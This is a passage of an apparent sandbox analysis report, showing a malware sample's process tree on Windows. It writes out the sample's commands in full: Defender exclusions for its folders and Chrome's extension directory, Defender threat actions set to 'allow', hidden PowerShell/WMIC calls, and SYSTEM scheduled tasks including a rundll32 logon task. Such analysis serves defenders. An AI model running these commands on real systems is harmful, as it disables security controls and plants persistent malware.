                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:1576
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64
                                                                                                    4⤵
                                                                                                    • Windows security bypass
                                                                                                    PID:2780
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:468
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                        PID:484
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:2624
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64
                                                                                                          4⤵
                                                                                                            PID:1604
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd /C copy nul "C:\Windows\Temp\ZmzskowerwXEonlG\HJGdKmhE\FfrOrCcoCGarYWsG.wsf"
                                                                                                          3⤵
                                                                                                            PID:1332
                                                                                                          • C:\Windows\SysWOW64\wscript.exe
                                                                                                            wscript "C:\Windows\Temp\ZmzskowerwXEonlG\HJGdKmhE\FfrOrCcoCGarYWsG.wsf"
                                                                                                            3⤵
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:1968
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2064
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:1052
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:1736
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:3000
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2080
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:1060
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:3012
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2500
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:700
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:1036
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2624
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2696
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:1320
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2688
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:1596
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:760
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:2456
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64
                                                                                                              4⤵
                                                                                                              • Windows security bypass
                                                                                                              PID:764
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                                PID:1632
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
                                                                                                                4⤵
                                                                                                                  PID:2500
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                  4⤵
                                                                                                                    PID:700
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                    4⤵
                                                                                                                      PID:1036
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:2328
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
                                                                                                                        4⤵
                                                                                                                          PID:2848
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                          4⤵
                                                                                                                            PID:3020
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                            4⤵
                                                                                                                              PID:2788
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                              4⤵
                                                                                                                                PID:1736
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                4⤵
                                                                                                                                  PID:2528
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  4⤵
                                                                                                                                    PID:2856
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    4⤵
                                                                                                                                      PID:1576
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      4⤵
                                                                                                                                        PID:2776
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        4⤵
                                                                                                                                          PID:1604
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          4⤵
                                                                                                                                            PID:2624
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            4⤵
                                                                                                                                              PID:2880
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              4⤵
                                                                                                                                                PID:1960
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                4⤵
                                                                                                                                                  PID:1556
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:22:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\CvLFCwG.exe\" y7 /xgLpdidnO 385118 /S" /V1 /F
                                                                                                                                                3⤵
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                PID:2080
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
                                                                                                                                                3⤵
                                                                                                                                                  PID:1596
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 680
                                                                                                                                                  3⤵
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • Program crash
                                                                                                                                                  PID:1484
                                                                                                                                              • C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\CvLFCwG.exe
                                                                                                                                                C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\CvLFCwG.exe y7 /xgLpdidnO 385118 /S
                                                                                                                                                2⤵
                                                                                                                                                • Checks computer location settings
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Drops Chrome extension
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                PID:2456
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3012
                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:2776
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                          5⤵
                                                                                                                                                            PID:2996
                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                              6⤵
                                                                                                                                                                PID:2296
                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:2500
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:2016
                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:1604
                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:468
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:2360
                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:2624
                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2188
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:1052
                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:2064
                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:2880
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:2476
                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                      6⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                      PID:1036
                                                                                                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:1592
                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                  schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1140
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1836
                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:708
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:940
                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                PID:2312
                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                  PID:2540
                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:1576
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:892
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                    PID:2320
                                                                                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:2528
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\wzqLdg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                              PID:1332
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\UXrFTyZ.xml" /RU "SYSTEM"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                              PID:2776
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /END /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:2064
                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2472
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\araXEnp.xml" /RU "SYSTEM"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                  PID:1960
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\VqwEBNg.xml" /RU "SYSTEM"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                  PID:2624
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
